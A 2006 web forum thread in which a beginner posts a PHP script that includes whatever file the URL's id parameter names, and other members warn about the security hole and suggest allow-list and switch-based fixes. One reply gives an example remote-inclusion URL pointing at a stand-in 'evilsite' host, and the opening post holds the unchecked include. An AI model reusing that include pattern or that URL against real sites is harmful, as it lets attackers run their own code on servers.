Go Back   Novahq.net Forum > Computers > Web design and Programming
FAQ Community Calendar Today's Posts Search

Web design and Programming Discuss website creation and other programming topics.

Reply
 
Thread Tools Search this Thread Display Modes
  #1  
Old 01-23-2006, 07:50 PM
Webviper2006 is offline Webviper2006
Registered User

Join Date: Nov 2005
Posts: 495

PHP Page Problem

Hi I make this script...

<? if($id) { include("$id.php"); } else { include("home.php"); } ?>

On my index.php

Then I make a link like <a href="index.php?id=members">Members</a>

Why does it like refreshes the whole page? I want it to be on only one table. So I can keep the menu and the ads.

I think I should use iframe right?
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++!
Reply With Quote
  #2  
Old 01-23-2006, 08:30 PM
JonM is offline JonM
Registered User

Join Date: Jun 2004
Posts: 2,156

iFrame? ewww lol . Trust me, stick to refreshing the whole page. Now i'm confused though, why is it a problem for it to refresh? I may understand what you are talking about. I will post an example of how to make it work even w/ the annoying refresh.
Reply With Quote
  #3  
Old 01-24-2006, 03:11 AM
Lakie is offline Lakie

Join Date: Mar 2002
Posts: 5,540

Quote:
<? if($id) { include("$id.php"); } else { include("home.php"); } ?>
I think thats a major security risk..

http://yoursite.com/index.php?id=http://www.evilsite.com/evil/evilcode.php

Need to chuck some checks in there to make sure its a legit file your including...
Reply With Quote
  #4  
Old 01-24-2006, 06:25 AM
Capers is offline Capers
Registered User

Join Date: Oct 2003
Posts: 158

Quote:
Originally posted by Mike
I think thats a major security risk..

http://yoursite.com/index.php?id=htt...l/evilcode.php

Need to chuck some checks in there to make sure its a legit file your including...
Could do that by having an array of acceptable values for $id:

E.g.
PHP Code:
<?
$allowed_includes 
= array("page1","page2","page3");

if(isset(
$_GET[id])){

    
//First check that the file is allowed to be included
    
if(in_array($_GET[id],$allowed_includes)){

        
//Check that file exists to be safe
        
        
if(file_exists($_GET[id] . ".php")){

            include(
$_GET[id] . ".php");

        }else{

            echo 
"Page does not exist!";

        }

    }else{

        echo 
"Path not allowed!";

    }

}else{

    include(
"home.php");

}
?>
Anyones welcome to that code, but they better bug check it first cus i just wrote it and didnt bother checking.
__________________

Last edited by Capers; 01-24-2006 at 11:15 AM.
Reply With Quote
  #5  
Old 01-24-2006, 10:36 AM
Webviper2006 is offline Webviper2006
Registered User

Join Date: Nov 2005
Posts: 495

So how can I use one? Last time I did not knew PHP and then I had to copy paste on every page I done! So?
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++!
Reply With Quote
  #6  
Old 01-24-2006, 04:51 PM
Capers is offline Capers
Registered User

Join Date: Oct 2003
Posts: 158

Sorry, I'm finding it very hard to understand exactly what you are asking for many of your posts. Could you maybe be more clear?
__________________
Reply With Quote
  #7  
Old 01-24-2006, 10:20 PM
Webviper2006 is offline Webviper2006
Registered User

Join Date: Nov 2005
Posts: 495

Ok nevermind sorry.
__________________
Sorry bums, now I'm back! Now I know C++! I use Microsoft Visual C++!
Reply With Quote
  #8  
Old 02-01-2006, 08:45 PM
BeBop is offline BeBop
Registered User

Join Date: Jun 2002
Posts: 600

Send a message via ICQ to BeBop Send a message via AIM to BeBop Send a message via Yahoo to BeBop
<?php
if($id == "members"){
include("members.html");
}elseif($id == "roster"){
include("roster.html");
}else{
include("home.html");
}
?>

or

<?php
switch($id){
case members;
include("members.html");
break;

case roster;
include("roster.php");
break;

default:
include("home.html");
break;
}
?>
__________________
- My: Drawings, rants, raves, my cat, designs, and everything else i want to put on the net.
Free Teamspeak servers: http://gamersnetwork.us/

Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Uploader leaking PHP in page brink phphq.Net Forums 1 09-29-2008 07:21 PM
page.php?id=blablabla NaughtyPerry Web design and Programming 3 12-22-2005 06:05 PM
Problem logging in on home page. HK Tech Support 7 07-01-2004 12:39 PM
php problem spinal Web design and Programming 7 01-27-2004 12:27 AM
php-page XenoMorpH Web design and Programming 1 05-03-2003 04:34 AM


All times are GMT -5. The time now is 03:16 PM.




Powered by vBulletin®